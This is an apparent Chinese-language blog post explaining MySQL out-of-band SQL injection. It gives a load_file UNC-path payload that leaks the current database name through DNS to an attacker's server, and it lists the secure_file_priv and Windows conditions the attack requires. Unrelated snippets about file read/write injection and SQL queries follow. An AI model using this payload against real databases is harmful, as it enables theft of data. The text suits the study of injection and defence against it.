帶外通道
有時候注入發現並沒有回顯,也不能利用時間盲注,那麼就可以利用帶外通道,也就是利用其他協議或者渠道,如http請求、dns解析、smb服務等將資料帶出。
payload
select load_file(concat('\\\\',( select database() ),'.xx.xx\\x));
其中的load_file的位址為乙個遠端檔案,mysql在load_file()乙個遠端檔案時會傳送dns請求包去解析,所以可以帶出資料,'\\data.xx.xx\x' ,xx.xx為自己的伺服器名,沒有的話可以去這裡申請乙個 ceye.io
mysql帶外注入條件
1. mysql.ini 中 secure_file_priv 必須為空
( ps. 修改mysql.ini 檔案,在[mysqld] 下加入 secure_file_priv = )
mysql 新版本下secure-file-priv欄位 : secure-file-priv引數是用來限制load data, select ... outfile, and load_file()傳到哪個指定目錄的。
當secure_file_priv的值為null ,表示限制mysqld 不允許匯入|匯出
當secure_file_priv的值為/tmp/ ,表示限制mysqld 的匯入|匯出只能發生在/tmp/目錄下
當secure_file_priv的值沒有具體值時,表示不對mysqld 的匯入|匯出做限制
2. 從payload看出load_file的路徑是windows下的unc路徑,所以mysql帶外注入只能發生在windows機器上
測試
sql注入之 讀寫檔案,帶外攻擊
在my.ini加上secure file priv secure file priv 代表對檔案讀寫沒有限制 secure file priv null代表不能進行檔案讀寫 secure file priv d 代表只能對改路徑下檔案進行讀寫 函式 load file 語句 id 1 union s...
mysql 行轉列 (帶日期)
從網上找了很多行轉列的。基本都是2行的行轉列。不帶日期分組的。處理過程 我自己有的資料,這個已經是處理後的 源資料 圖1 img 下圖是我自己想要實現得類似的行轉列的樣子,但是下圖,並沒有完全實現行轉列。行和列還是分離的,只是多了列,所有的行並沒有統一與合併資料 圖2 img 最終實現的結果 圖3 ...
mysql函式聯結 mysql使用帶聚集函式的聯結
聚集函式用來彙總資料。雖然至今為止聚集函式的所有例子只是從單個表彙總資料,但這些函式也可以與聯結一起使用。為說明這一點,請看乙個例子。如果要檢索所有客戶及每個客戶所下的訂單數,下面使用了 count 函式的 可完成此工作 輸入 select customers.cust name,customers...